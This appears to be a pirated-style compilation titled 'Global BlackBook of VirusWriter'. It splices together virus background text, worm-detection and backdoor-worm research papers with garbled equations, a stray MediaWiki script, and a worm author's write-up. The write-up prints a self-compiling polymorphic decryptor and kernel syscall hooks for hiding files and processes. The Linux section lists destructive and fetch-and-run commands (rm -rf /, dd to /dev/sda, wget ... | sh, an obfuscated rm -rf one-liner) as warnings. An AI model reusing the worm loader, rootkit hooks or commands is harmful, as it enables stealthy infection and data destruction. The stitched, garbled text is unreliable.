You are on page 1of 58

Brank0 D T0mic

Gl0bal BlaCkBooK 0F VirusWriter

THE

THE Gl0bal BlaCkBooK 0F VirusWriter by Brank0DT0mic


autumn edition -2012-

2012 Branko D. Tomic Educational Purposes (c) All Rights, Reserved Publication of this book may be reproduced in any purpose of the express written permission of the publisher.

Declaration of library rights from publisher data.

The Universal Declaration is available in 369 language variations on the website of the Office of the United Nations High Commissioner for Human Rights. ... Publisher, UN General Assembly ... Starter Kit Statistics and Operational Data UNHCR Research Library News Refworld Personalization

Table of Library
Introduction A New Class And Next Worm Generation Linux Viruses Writing Worms Attacks on Encryption Hosts 1 14 17 20 41 48

Introduction
Computer viruses have pervaded popular culture at least as successfully as they have the world's computer population. Capitalizing on the same fearful fascination with man-made life-forms that Mary Shelley tapped in Frankenstein, viruses have become the subject of widespread urban legends and hoaxes, popular television shows and movies. Yet they have not received much scientific scrutiny. Much of their popular presence is attributable to an obvious but deep biological analogy: computer viruses replicate by attaching themselves to a host (a program or computer instead of a biological cell) and co-opting the host's resources to make copies of themselves. Symptoms can range from unpleasant to fatal. Computer viruses spread from program to program and computer to computer, much as biological viruses spread within individuals and among individual members of a society. There are other computer pathogens, such as the "worms" that occasionally afflict networks and the "Trojan horses" that put a deceptively friendly face on malicious programs, but viruses are the most common computer ill by far. Most viruses attack personal computers (PCs). More than 10,000 viruses have appeared so far, and unscrupulous programmers generate roughly another six every day. Fortunately, only a handful have been detected far afield.

2THEGl0balBlaCkBooK0FVirusWriter

Defending Viruses
Virus-specific detection and removal techniques require detailed analysis of each new virus as it is discovered. Experts must identify unusual sequences of instructions that appear in the viral code but not in conventional programs--a process that relies on carefully developed knowledge and intuition. They also must develop a prescription for verifying and removing the virus from any infected host. To keep up with the influx of half a dozen new viruses a day, antivirus technologists have developed automated tools and procedures to assist human virus experts or even replace them. Antivirus software has existed since shortly after computer viruses first appeared. Generic virus-detection programs can monitor a computer system for viruslike behavior (such as modification of certain crucial files or parts of main memory), and they can periodically check programs for suspicious modifications. Such software can even detect hither to unknown viruses, but it can also be prone to false alarms because some legitimate activities resemble viruses at work.Once a virus has been detected, it must be removed. One brutal but effective technique is simply to erase the infected program, much as certain types of immune cells destroy an infected cell. Body cells are generally easy to replace, but computer programs and documents are not so expendable. As a result, antivirus programs do their best to repair infected files rather than destroy them. (They are aided in this endeavor by the fact that computer viruses must preserve their host program essentially intact to remain undetected and multiply.)

Introduction

If a virus-specific scanning program detects an infected file, it can usually follow a detailed prescription, supplied by its programmers, for deleting viral code and reassembling a working copy of the original. There are also generic disinfection techniques that work equally well for known and unknown viruses. One method we developed gathers a mathematical fingerprint for each program on the system. If a program subsequently becomes infected, our method can reconstitute a copy of the original. Since 1990 we have been collecting virus statistics from a population of several hundred thousand PCs among our corporate customers. We record the location and date of each incident along with the number of infected PCs and diskettes and the identity of the virus. These statistics have permitted us to infer a good deal about the behavior of viruses in the wild, including the fact that only a small fraction of viruses are genuinely problematic. Only about 5 percent of all known viruses have been observed within the population we have studied, many of them just once. The 10 most common viruses account for two thirds of all incidents. In addition, the prevalence of these successful viruses appears to follow a common pattern: a virus will spread over the course of a year or so, increasing its numbers in a roughly linear fashion until it reaches a plateau. After that, it will continue to appear in computers at a roughly constant level, although sometimes its numbers decline to near extinction.

4 THEGl0balBlaCkBooK0FVirusWriter

Antivirus Technicques
It has become clear to enterprise users, ISPs and their customers, and the anti-virus community that current pattern recognition technologies lack the strength to fight off virus attacks. The weakness is primarily due to the time it takes for traditional virus signatures to be created and distributed. The unfortunate result is that the cost of virus attacks keeps going up. The Radicati Group* predicts the volume of virus attacks and the cost of such attacks will increase by a factor greater than four during the next few years. The often long delay between the time a virus attack is launched, and its signature is distributed, results in hundreds of thousands of infected messages delivered to enterprise networks and communities of ISP users, prior to the availability of any protection from its deployment. Users alone cannot be blamed for innocently opening email attachments, and the outcome is that the infected messages will almost certainly result in hundreds of infected PCs. That translates into tens or even hundreds of thousands of dollars in desktop clean up costs for each virus outbreak at each corporation, and untold costs to consumers. An estimated rate of 900 million virally infected messages a day, from four to five serious virus attacks per month, makes that cost unacceptable. As a result, many companies and vendors are exploring preventive systems that can stop virus outbreaks before they happen, and minimize any damage or cost.

Introduction

Heuristic Filters - This technology looks at email messages for patterns that correlate with a message that is likely to be associated with a virus. Heuristic filters are based on artificial intelligence techniques in which programs are self-learning, and improve their efficacy with experience. Starting with a basic set of rules that define a virus-carrying email message, these filters gain knowledge as they make correct and incorrect judgments about which messages contain viruses and which do not. A major advantage of Heuristic filters, over pattern scanners, is that they can catch a virus that hasnt been formed or identified as yet. However, their catch rate is significantly less than 100 percent and they are subject to false positives, a situation in which a message is identified as carrying a virus when in fact it is not. Behavioral Analysis - These virus detecting systems actually load and execute a program attached to an email message or downloadable from a web link embedded in a message, and analyze its behavior as if it were running on an end users computer. There are two techniques for doing this. In one, execution is carried out by emulating execution of the program and analyzing what it does. In the other, the code is actually run on a separate virtual computer, usually called a sandbox , to see what it does. The behavioral approach can be effective. However, it is very resource intensive and not easily scaled to enterprise levels. Traffic Analysis - Virus outbreaks come in waves of email messages, and there are patterns of email traffic anomalies associated with a virus outbreak. Rapidly propa- gating viruses create these highly anomalous traffic patterns, which can be tracked and accurately detected by experienced and trained individuals.

5 THEGl0balBlaCkBooK0FVirusWriter

History, Motives, Trends, and Transmission


The basic technology of computer viruses is based on the very simple programming technique of creating a program that makes a copy of itself in another location, and then jumps to that location and runs itself again. Early computer engineers used the technique to test out mainframe hardware to ensure that all memory locations were functioning properly. By itself, an innocent enough thing to do, and so was the earliest definition of computer viruses, first set down by Dr. Fred Cohen in his computer science dissertation, written at University of Southern California in 1983. He defined a computer virus as, a computer program that can affect other computer programs by modifying them in such a way as to include a (possibly evolved) copy of itself. The technique and the concept of computer viruses lost their innocence in the second half of the 1980s, when hackers began distributing floppy disks with viruses on them. Such programs would create a copy of themselves that stayed resident in a computer, which in turn made another copy of itself on any floppy disk that was written to by that computer. Instead of remaining within the confines of the authors computer, these viruses would hop from computer to computer as users exchanged other data on floppy disks. The paradigm for spreading a virus program was quickly extended to local area networks, and proprietary wide area networks. Viruses would quickly spread throughout an enterprise network, infecting any computer attached to it. The first invasion of ARPANet (later known as the Internet) occurred in 1988, when a worm virus brought some 6,000 connected computers to a halt.If the virus programs did nothing more than spread themselves around by making copies of themselves and pulling off the occasional practical joke, it would have been bad enough. But malicious virus writers began creating

Introduction

programs that would destroy data and programs, including operating systems, sometimes wiping out entire hard drives and knocking computers off of networks. There are three classes of beneficiaries of computer viruses. One class is a benevolent recipient, while the other two are nothing short of pernicious. The benevolent beneficiaries are the anti-virus companies. There are over twenty of them worldwide, and they all make money by helping users and IT professionals prevent viruses from infesting and damaging their comput- ers. But they are as blameless for the occurrence of viruses as aspirin companies, when they make money The two pernicious categories are the coders and the spammers. Coders, who write viruses for fun, are often on an ego trip. In the same way that hackers get thrilled by breaking into corporate databases, coders delight in spreading their code around in ways that are difficult to control. Even if the code does no damage, technological thrill seekers get excited by seeing the widespread results of their work. With this knowledge, viruses are evolving more quickly and in ways that were never expected. Enter the spammers who, upon recogniz- ing the profit potential of viruses, have begun paying coders to write virus programs that help do their dirty work.

7 THEGl0balBlaCkBooK0FVirusWriter

Fast Detection of Scanning Worm Infections


Worm detection and response systems must act quickly to identify and quarantine scanning worms, as when left unchecked such worms have been able to infect the majority of vulnerable hosts on the Internet in a matter of minutes [9]. We present a hybrid approach to de- tecting scanning worms that integrates significant improvements we have made to two existing techniques: sequential hypothesis testing and con- nection rate limiting. Our results show that this two-pronged approach successfully restricts the number of scans that a worm can complete, is highly effective, and has a low false alarm rate.

Stuart E. Schechter1 , Jaeyeon Jung2 , and Arthur W. Berger2 1 Harvard DEAS, 33 Oxford Street, Cambridge MA 02138, USA, stuart@eecs.harvard.edu 2 MIT CSAIL, 32 Vassar Street, Cambridge MA 02139, USA

Introduction

Human reaction times are inadequate for detecting and responding to fast scan- ning worms, such as Slammer, which can infect the majority of vulnerable sys- tems in a matter of minutes [18, 9]. Thus, todays worm response proposals focus on automated responses to worms, such as quarantining infected machines [10], automatic generation and installation of patches [14, 15], and reducing the rate at which worms can issue connection requests so that a more carefully constructed response can be crafted [22, 27]. Even an automated response will be of little use if it fails to be triggered quickly after a host is infected. Infected hosts with high-bandwidth network con- nections can initiate thousands of connection requests per second, each of which has the potential to spread the infection. On the other hand, an automated response that triggers too easily will erroneously identify hosts as infected, in- terfering with these hosts reliable performance and causing significant damage. Many scan detection mechanisms rely upon the observation that only a small fraction of addresses are likely to respond to a connection request at any given port. Many IPv4 addresses are dead ends as they are not assigned to active hosts. Others are assigned to hosts behind firewalls that block the port addressed by the scanner. When connection requests do reach active hosts, many will be rejected as not all hosts will be running the targeted service. Thus, scanners are likely to have a low rate of successful connections, whereas benign hosts, which only issue connection requests when there is reason to believe that addressees will respond, will have a much greater rate of success.

Introduction

Existing methods for detecting scanning worms within a local network use fixed thresholds for the number of allowable failed connections over a time pe- riod [16] or limit the rate at which a host can initiate contact with additional hosts [27]. However, these threshold based approaches may fail to detect low-rate scanning. They may also require an excessive number of connection observations to detect an infection or lead to an unnecessary number of false alarms. To detect inbound scans initiated by hosts outside the local network, pre- vious work on which we collaborated [7] used an approach based on sequential hypothesis testing. This approach automatically adjusts the number of observa- tions required to detect a scan with the strength of the evidence supporting the hypothesis that the observed host is, in fact, scanning. The advantage of this approach is that it can reduce the number of connection requests that must be observed to detect that a remote host is scanning while maintaining an accept- able false alarm rate. While this approach shows promise for quickly detecting scanning by hosts inside a local network soon after they have been infected by a worm, there are significant hurdles to overcome. For one, to determine whether a request to connect to a remote host will fail, one must often wait to see whether a successful connection response will be returned. Until enough connection requests can be established to be failures, a sequential hypothesis test will lack the observations required to conclude that the system is infected. By the time the decision to quarantine the host is made, a worm with a high scan rate may have already targeted thousands of other hosts. This earlier work used a single sequential hypothesis test per host and did not re-evaluate benign hosts over time. Unlike an intrusion detection system ob- serving remote hosts, a worm detection system is likely to observe benign traffic

Introduction

10

originating from an infected host before it is infected. It is therefore necessary to adapt this method to continuously monitor hosts for indications of scanning. Worm Detection System (WDS) is located to monitor a local network . We introduce an innovative approach that enables a Worm Detection System (WDS) to continuously monitor a set of local hosts for infection, requiring a small number of observations to be collected after an infection to detect that the host is scanning. To detect infected hosts, the WDS need only process a small fraction of network events; a subset of connection request observations that we call first- contact connection requests and the responses to these requests that complete the connections. A first-contact connection request is a packet (TCP or UDP) addressed to a host with which the sender has not previously communicated. These events are monitored because scans are mostly composed of first-contact connection requests. Next in -Sequential Hypothesis Testing- As with existing approaches to scan detection [7, 17, 22, 27], we rely upon the observation that only a small fraction of addresses are likely to respond to a connection request at any given port. Benign hosts, which only contact systems when they have reason to believe that this connection request will be accepted, are more likely to receive a response to a connection request. Recall that a first-contact connection request is a packet (TCP or UDP) addressed to a host with which the sender has not previously communicated. When a local host l initiates a first-contact connection request to a destination address, d, we classify the outcome as either a success or a failure. If the request was a TCP SYN packet, the connection is said to succeed if a SYN-ACK is received from d before a timeout expires. If the request is a UDP packet,

Introduction

11

any UDP packet from d received before the timeout will do. We let Yi be a random (indicator) variable that represents the outcome of the ith first-contact connection request by l, where 0 if the connection succeeds Yi = 1 if the connection fails Detecting scanning by local hosts is a problem that is well suited for the method of sequential hypothesis testing first developed by Wald, and used in our earlier work to detect remote scanners. We call H1 the hypothesis that host l is engaged in scanning (indicating infection by a worm) and H0 the null hypothesis that the host is not scanning. We assume that, conditional on the hypothesis Hj , the random variables Yi |Hj i = . That is, conditional on the hypothesis, any two connection attempts will have the same likelihood of succeeding, and their chances of success are unrelated to each other. We can express the distribution of the Bernoulli random variable Yi as: Pr[Yi = 0|H0 ] = 0 , Pr[Yi = 1|H0 ] = 1 0 Pr[Yi = 0|H1 ] = 1 , Pr[Yi = 1|H1 ] = 1 1 Given that connections originating at benign hosts are more likely to succeed than those initiated by a scanner, 0 > 1 . Sequential hypothesis testing chooses between two hypotheses by comparing the likelihoods that the model would generate the observed sequence of events, Yn (Y1 , . . . , Yn ), under each hypothesis. It does this by maintaining the ratio (Yn ), the

Introduction

12

numerator of which is the likelihood that the model would generate the sequence of events Yn under hypothesis H1 , and the denominator under hypothesis H0 . Pr[Yn |H1 ] (Yn ) Pr[Yn |H0 ] Assumption in the model enables us to state this ratio in terms of the likelihoods of the individual events. n Pr[Yi |H1 ] (Yn ) i=1 Pr[Yi |H0 ] We can write the change to (Yn ) as a result of the ith observation as (Yi ): (Yi ) Pr[Yi |H1 ] 0 = Pr[Yi |H0 ] 11 10 if Yi = 1 (failure) 1 if Yi = 0 (success)

This enables us to rewrite (Yn ) inductively, such that (Y0 ) = 1, and (Yn ) may be calculated iteratively as each observation arrives.

Introduction
n (Yn ) = i=1 (Yi ) = (Yn1 )(Yn )

13

One compares the likelihood ratio (Yn ) to an upper threshold, 1 , above which we accept hypothesis H1 , and a lower threshold, 0 , below which we accept hypothesis H0 . If 0 < (Yn ) < 1 then the result will remain inconclusive until more events in the sequence can be evaluated. A log scale graph of (Y) as each observation, Yi , is added to the sequence. Each success (0) observation decreases (Y), moving it closer to the benign conclusion threshold 0 , whereas each failure (1) observation increases (Y), moving it closer to the infection conclusion threshold 1 Writing the probability of correctly reporting detection (declaring host is infected when indeed it is) as PD and the probability of a false positive (declaringhost is infected when in fact it is not) as PF , we can define our performance requirements as bounds and on these probabilities. PF and PD Because every false positive can decrease productivity of both the users of a host and the security staff who need to inspect it, one would expect to use values that are small fractions of a percentage point.

A New Class And Next Worm Generation


The damage inflicted by viruses and worms has been limited because the payloads that are most lucrative to malware authors have also posed the greatest risks to them. The problem facing authors of this self-reproducing malware is that monetizing each intrusion requires the author to risk communication with the infected system or its owner. The tool of choice for malware authors looking to minimize risk and maximize loot has been the carefully target attack, often employing a trojan horses or attack script. However, attackers preferences would likely change if they could infect a large number of systems using a worm and sell access to infected systems to other black hats. We introduce a new type of worm that enables this division of labor, installing a back door on each infected system that opens only when presented a system-specific ticket generated by the worms author. The risk to the worms author is minimized because he need not communicate with the infected systems. This new class of attack could increase the incentives to write malware and create a market for such specialized skills. In addition to describing this new threat, we propose a number of approaches for defending against it. Permission to make digital or hard copies of all or part of this work for personal or classroom use is granted without fee provided that copies are not made or distributed for profit or commercial advantage and that copies bear this notice and the full citation on the first page. To copy otherwise, to republish, to post on servers or to redistribute to lists, requires prior specific permission and/or a fee.

Introduction
Much of the damage from existing worms has been limited to loss of service, resulting from inundations of traffic from the worms replication mechanisms, and from repair time. Worm payloads, with the potential to compromise a systems confidentiality or integrity, could cause much greater damage with each infection. Payload damage from existing worms has been limited because attacks on confidentiality and integrity are best executed with human guidance in selecting which data to target. However, worm authors rarely communicate directly with their creations because of the risk of exposure through traffic analysis. Similarly, worms rarely contain mechanisms to transmit information to their authors as the path of such messages could be disrupted or traced by law enforcement. Worm payloads must be able to locate the assets they target without human assistance. Because worms spread indiscriminately, the damage per machine caused by virus and worm outbreaks has traditionally been lower than that from custom targeted attacks. In fact, many virus and worm authors dont even bother to include a payload. This could easily change if malware authors could combine the scale of worms with the profit potential of targeted intrusion. An access-for-sale worm is unique in that does just this, enabling an individual to control a large number of systems and sell access to each one to the highest bidder. The access-for-sale worm enables the black hat community to work together to pool their skills and distribute risk in order to maximize the loot they extract.

14

THEGl0balBlaCkBooK0FVirusWriter 15
CONTROLLING THE BACK DOOR The back door installed into a target operating system by an access-for-sale worm must open only when a ticket unique to that system is presented. In order to implement this access control policy it is necessary to generate unique system identifiers (USIDs) and access tickets that match these USIDs. The worms author has a number of different choices of algorithms for assigning USIDs to systems. The IP address is perhaps the most obvious candidate. However, if the target system is behind a firewall the IP address may be neither unique nor known to machines on the outside. The systems Ethernet address is more likely to be unique, but will not be available for systems that do not use Ethernet. We propose that the USID be generated pseudo-randomly by feeding a collision-resistent hash function the time of infection, network address, and any other system-specific information that may be available. Once the prospective intruder knows that the back door is present in the system and has the systems unique identifier, a ticket must be generated before access can be granted. The ticketing process requires that a public key be embedded into the worm. Access to the back door is only granted when the ticket contains the USID of the target system signed by the secret key corresponding to the public key contained in the worm. Each ticket will only provide access to the system for which it was generated. The security of the back door rests on the assumptions that only the worms author

A New Class And Next Worm Generation knows the private key, the signatures used in access tickets are unforgeable, and the back door will not open unless the ticket is properly signed with the private key and contain the systems USID.

16

CONCLUSION Access-for-sale worms have the potential to make worms immensely more lucrative to write than traditional malware. They make targeted attacks against systems available to those who would otherwise not have the ability or economic incentive to stage such an attack. Unfortunately, they are also quite easy to implement.However, there are many techniques that can be used to counter this threat if the defense is prepared. Most of these approaches interfere with a prospective intruders willing- ness to pay for tickets to the back door. This may be done by introducing additional barriers of trust between buyer and seller. Being vigilant in using existing security measures is important in fighting the use of access-for-sale worms by organized crime. Even if worms successfully spread, they are likely to be detected as attacks mount. The more quickly back doors can be removed and the worms contained, the less damage to stage such an attack.

Linux Viruses
Here are some common examples of commands that should raise a white flag of enemy. Remember thesecan always be disguised as some obfuscated command or as a part of a long procedure, so the bottom line is to take appropriate caution when executing something. Delete all files, delete current directory, or delete visible files in current directory It's quite obvious why these commands can be sweet for virus author to execute. rm means remove, -f means "force" deletion (even if write protected), and -r means do it recursively, i.e. all subfolders. Therefore, " rm -rf / " means force a deletion of everything in the root directory and all subfolders. " rm -rf . " means to force deletion of the current directory and all subfolders. " rm -rf * " means to force deletion of all files in the current folder and all subfolders. rm -rf / rm -rf . rm -rf * Another variation of this, which would all force deletion of the current folder and all subfolders, would be: rm -r .[^.]* which will only exclude the parent directory ".." Reformat Data on device Whatever follows the mkfs command will be destroyed and replaced with a blank filesystem.

18 THEGl0balBlaCkBooK0FVirusWriter
mkfs mkfs.ext4 mkfs.anything Block device manipulation. These commands cause raw data to be written to a block device. Often this will clobber the filesystem and cause total loss of data: any_command > /dev/sda dd if=something of=/dev/sda Malicious code in Shell scripts Make and give the link to a shell script (executable from the command line interface using script execution command ./ ) and recommends to download and execute it. The script might contains any command what soever -- whether benign or malevolent. Examples: wget http://some_place/some_file sh ./some_file or wget http://some_place/some_file -O- | sh Malicious source code to be compiled then executed Monstrous example (in Python):
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

in which "sn!.sg!+" is simply the rm -rf * command shifted a

19 THEGl0balBlaCkBooK0FVirusWriter
character up in order to disguise it from casual examination. I wouldn't expect anyone with experience in Python to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong, but how many casual users are fluent in Python? if(window.mw) { mw.loader.load(["mediawiki.user","mediawiki.page.ready","ext.gadg et.ZoomViewer","ext.gadget.UploadWizard","ext.gadget.Long-Imag e-Names-in-Categories","ext.gadget.Stockphoto","ext.gadget.ExtraT abs2","ext.gadget.WikiMiniAtlas","ext.gadget.AjaxQuickDelete","e xt.vector.collapsibleNav","ext.vector.collapsibleTabs","ext.vector.si mpleSearch"], null, true);

Writing Worms
The media, kindly supported by AV "experts", have drawn an apocalyptical vision of destruction caused by little MS Outlook / VisualBasic worm, called "ILOVEYOU". Rough estimations - $10M lost for "defending the disease", especially when you look at increasing with the speed of light value of AV companies market shares, made many people curious - is it really the worst disease ever? Or just another lame VBS application that is not even able to spread without user "click-me" interaction, and is limited to one, desk-end it's original version, kills mp3 files on your disk [1]. This article is a study of research on Internet worms. Over year ago, with couple of friends, we started writing a project, called 'Samhain' (days ago, on packetstorm, I noticed cute program with same name - in fact it's not the same app, just a coincidence ;). We wanted to see if it's difficult to write deadly harmful Internet worm, probably much more dangerous than Morris's worm. First, we agreed theoretical guidelines for such application: 1: Portability - worm must be architecture-independent, and should work on different operating systems (in fact, we focused on Unix/Unix-alikes, but developed even DOS/Win code). 2: Invisibility - worm must implement stealth/masquerading techniques, being able to hide its own code in live system and stay undetected as long as possible.

21 THEGl0balBlaCkBooK0FVirusWriter 3: Independence - worm must be able to spread autonomically, with no user interaction, using built-in exploit database. 4: Learning - worm should be able to learn new exploits and techniques instantly; by launching one instance of updated worm, all other worms, should update their code using speci-communication channels (wormnet). 5: Integrity - single worms and wormnet structure should be really difficult to trace, modify, intrude and kill (encryption, signing). 6: Polymorphism - worm should be fully polymorphic, with no constant portion of (specific) code, to avoid detection. 7: Usability - worm should be able to complete choosen mission objectives - eg. infect choosen system, then download instructions, and, when mission is completed, simply disappear from all systems. With seven simple principles stated above, we started our practical work, which took approx. 2 months. This text describes our ideas, concepts and implementation details. It is NOT the terrorist's handbook, and has not been written to help other people to write such code on their own. It is a study of technical possibilities instead. It's written to show that very serious potential risk, which we virtually can't avoid or stop, isn't only hypotetical. Code provided here is partial, often comes from first, instead of most recent, Samhain releases.

22 THEGl0balBlaCkBooK0FVirusWriter But we should remember: working model has been written. And this model is deadly dangerous engine, which can be certainly used to something more than e-mail based infection of user-end workstations... Probably we aren't the first people who thought about it and tried to write it, that's what make us scared... Winter 1998, three bored people somewhere in the middle of Europe. Sit and relax. 0x01: Portability ----------------------------------------------------------------------------This is probably the most important thing - we don't want code that can run only on Windows, Linux or Solaris, or - worse - can run only on x86. The task is quite easy to complete if you decide to spread your code in platform-independent form. How could it be achieved? Well, most of systems have C compiler :) So we might spread worm in source code, with simple decryptor (let's say it will be shell script). But wait, some (not much) systems don't have C compiler. What can we do? Using wormnet, worm during infection might ask other wormnet members for compiled binary for given platform. Wormnet details have been described in section 0x04. Anyway, binary will contain appended source code, to make futher infections possible within standard procedure. Infection scheme is described in section 0x03. First version of our decryptor looked like this:

23 THEGl0balBlaCkBooK0FVirusWriter
const char decryptor[]="#!/bin/bash\nX=/tmp/.$RANDOM$$\n(dd if=\"$0\" of=" "$X.f~ ibs=1 skip=\x01\x01\x01\x01 count=\x02\x02\x02\x02\x02\x02 ;dd if=" "\"$0\" of=$X.b~ ibs=\x03\x03\x03\x03\x03 skip=1;echo \"int x;main(int c," "char**v){char a[99999];int i=read(0,a,99999);for(;x<i;)a[x++]-=atoi(v[1]" ");write(1,a,i);}\" >$X.d~;test -x /tmp/.a012382~||cc -x c $X.d~-o/\tmp/." "a012382~;/tmp/.a012382~ \x04\x04\x04 <$X.f~>$X.gz~;gzip -cd <$X.gz~>$X.c" "~;rm -f $X.f~ $X.d~;cc -O3 -x c $X.c~ -o $X~;chmod 755 /tmp/.a012382~)&>" "/dev/null;test -x \"$0\"&&exec $X~ \"$0\" $@\n";

It used very simple (per-byte increments) "encryption" for source code with custom increment value (decryptor has been modified accordingly to choosen value - \x01, \x02, \x03 and \x04 are changed by encryptor routine). Also, this constant decryptor has been every time re-written using simple polymorphic engine (see section 0x06) to avoid constant strings. Later, we modified encryption routine to something little bit stronger (based on logistic equation number generator in chaotical window) - in fact, it only makes it more difficult to detect in inactive form. As you can see, this decryptor (or it's early version shown above) isn't highly-portable - what if we don't have bash, compiler, gzip or such utilities? Well, that's one of reasons we've decided to join worms in wormnet - if sent code won't connect back to parent and report itself, host is not marked as infected, and wormnet is asked for pre-compiled binary for given architecture (assuming we already infected this architecture somewhere in the world, and we had needed utilities, or we're running the same architecture as infected host). NOTE: For writting extremely ugly code that can run in DOS, [ba]sh, csh, perl etc and can be compiled with C in the same time, please refer IOCCC archives [2].

24 THEGl0balBlaCkBooK0FVirusWriter Sebastian wrote virus code that can spread both on Windows/DOS platform with C compiler and Unix systems with no modifications nor any interaction. It does cross-partition infections and installs itself as compiler trojan (modifying include files to put evil instructions in every compiled source). It is called Califax and has been developed while writting Samhain, as an excercise to prove that such cross-system jumps are possible. I don't want to include Sebastian's sources with no permission, all I want to say is he did it within 415 lines of c code :) Califax hasn't been incorporated within Samhain project, as we don't want to infect Winbloze for ideological reasons :P 0x02: Invisibility ----------------------------------------------------------------------------After breaking into remote system, worm not always have root privledges, so first of all, we wanted to implement some techniques to hide it, make it look-like any other process in system, and make it hard to kill until there's a chance to gain higher privledges (for details on system intrusion, please refer section 0x03). Also, we made sure it's really hard to debug/trace running or even inactive worm - please refer section 0x05 for anti-debug code details. Our non-privledged process masquerading code consists of following parts:

25 THEGl0balBlaCkBooK0FVirusWriter - masquerading: walk through /proc, choose set of common process names and change your name to look just like one of them, - cyclic changes: change your name (and executable name) as well as pid frequently; while doing it, always keep 'mirror' process, in case parent or child get killed by walking skill-alike programs, Our goal is to make almost impossible (with common tools) to 'catch' process, as all /proc parameters (pid, exe name, argv[0]) are changing, and even if one of them is catched, we have 'mirror' project. Of course, at first we should avoid such attempts by camouflage. This comment comes from libworm README for Unices: -- snip from README -a) Anti-scanning routines Following routines are provided to detect anti-worm stuff, like 'kill2' or anything smarter. You should use them before fork()ing: int bscan(int lifetime); bscan performs 'brief scanning' using only 2 childs. Lifetime should be set to something about 1000 microseconds. Return values: 0 - no anti-worm stuff detected, please use ascan or wscan. 1 - dumb anti-worm stuff detected (like 'kill2'); use kill2fork() 2 - smart (or brute) stuff detected, wait patiently int ascan(int childs,int lifetime);

26 THEGl0balBlaCkBooK0FVirusWriter ascan performs 'advanced scanning' using given number of childs (values between 2 and 5 are suggested). It tests environment using 'fake forkbomb' scenario. Results are more accurate: 0 - no anti-worm stuff detected (you might use wscan()) 1 - anti-worm stuff in operation int wscan(int childs,int lifetime); wscan acts like ascan, but uses 'walking process' scenario. It seems to be buggy, accidentally returning '1' with no reason, but it's also the best detection method. Return values: 0 - no anti-worm stuff detected 1 - anti-worm stuff in operation int kill2fork(); This is aletrnative version of fork(), designed to fool dumb anti-worm software (use it when bscan returns 1). Return value: similar as for fork(). b) Masquerading routines These routines are designed to masquerade and hide current process: int collect_names(int how_many); collect_names builds process names table with up to 'how_many' records. This table (accessible via 'cmdlines[]' array) contains names of processes in system; Return value: number of collected items.

27 THEGl0balBlaCkBooK0FVirusWriter void free_names(); this function frees space allocated by collect_names when you don't need cmdlines[] anymore. int get_real_name(char* buf, int cap); this function gets real name of executable for current process to buf (where cap means 'maximal length'). int set_name_and_loop_to_main(char* newname,char* newexec); this function changes 'visible name' of process to newname (you may select something from cmdlines[]), then changes real executable name to 'newexec', and loops to the beginning of main() function. PID will be NOT changed. Set 'newexec' to NULL if you don't want to change real exec name. Return value: non-zero on error. Note: variables, stack and anything else will be reset. Please use other way (pipes, files, filenames, process name) to transfer data from old to new executable int zero_loop(char* a0); this function returns '1' if this main() code is reached for the first time, or '0' if set_name_and_loop_to_main() was used. Pass argv[0] as parameter. It simply checks if real_exec_name is present in argv[0].

28 THEGl0balBlaCkBooK0FVirusWriter -- EOF -For more details and source code on architecture-independent non-root process hiding techniques, please refer libworm sources [3] (incomplete for now, but always something). This routines are weak and might be used only for short-term process hiding. We should as fast as possible gain root access (again, this aspect will be discussed later). Then, we have probably the most complex aspect of whole worm. Advanced process hiding is highly system-dependent, usually done by intercepting system calls. We have developed source for universal hiding modules on some systems, but it not working on every platform Samhain might attack. Techniques used there are based on well-known kernel file and process hiding modules. Our Linux 2.0/2.1 (2.2 and 2.3 kernels weren't known at the time ;) our module used technique later described in "abtrom" article on BUGTRAQ by <riq@CIUDAD.COM.AR> (Sat, 28 Aug 1999 14:40:31) to intercept syscalls [4]. Sebastian wrote stealth file techniques (to return original contents of eventually infected files), while I developed process hiding and worm interface. Module intercepted open, lseek, llseek, mmap, fstat, stat, lstat, kill, ptrace, close, read, unlink, write and execve calls. For example, new llseek call look this way:

29 THEGl0balBlaCkBooK0FVirusWriter
int new_llseek(unsigned int fd,unsigned int offset_high, unsigned int offset_low,int *result,unsigned int whence) { retval=old_llseek(fd,offset_high,offset_low,result,whence); if (retval<0) return retval; if (!(file=current->files->fd[fd])) return retval; if (S_ISREG(file->f_inode->i_mode) || S_ISLNK(file->f_inode->i_mode)) if (is_happy(fd) && file->f_pos < SAMLEN) file->f_pos += SAMLEN; return retval; }

In this case, we wanted to skip samhain code loader at the beginning of file. is_happy() function has been used to identify infected files. Unfortunately, it also has to check length of this loader - remember, it's dynamically generated. This is code from is_happy() used to determine this size from our decryptor routine:
// Determine where ELF starts... file->f_pos=0; BEGIN_KMEM r=file->f_op->read(file->f_inode, file, buf,sizeof(buf)); END_KMEM // Groah! We have to write out own atoi... Stupido ;-) znaki=0; while (znaki!=TH && ++v<r) if (buf[v]=='=') znaki++; if (znaki==TH) { while (buf[v+(++poz)]!=' ' && v+poz<r) mult=mult*10; buf[v+poz]=0; poz=1; SAMLEN=0; while (buf[v+poz]) { if (buf[v+poz]-'0'>9) { znaki=1;break; } // Format error (!) SAMLEN+=(buf[v+poz++]-'0')*mult; mult=mult/10; }

30 THEGl0balBlaCkBooK0FVirusWriter
Worm isn't spreading across the filesystem widely, so the problem doesn't affect many files - only some executables called in boot process to make sure we're always resident. Process hiding is quite generic:
int new_ptrace(int req,int pid,int addr,int dat) { x=0; buf[20]=0; sprintf(b,"/proc/%d/cmdline",pid); if (active) BEGIN_KMEM x=old_open(b,O_RDONLY,0); END_KMEM if (x>0) { BEGIN_KMEM read(x,b,1); END_KMEM close(x); if (!b[0]) return -ESRCH; } return old_ptrace(req,pid,addr,dat); }

Also, we have to hide active network connections for wormnet and sent / received wormnet packets to avoid detection via tcpdump, sniffit etc. That's it, nothing uncommon. Similar code has been written for some other platforms. See my AFHaRM or Sebastian's Adore modules for implementation of stealth techniques [5].

31 THEGl0balBlaCkBooK0FVirusWriter
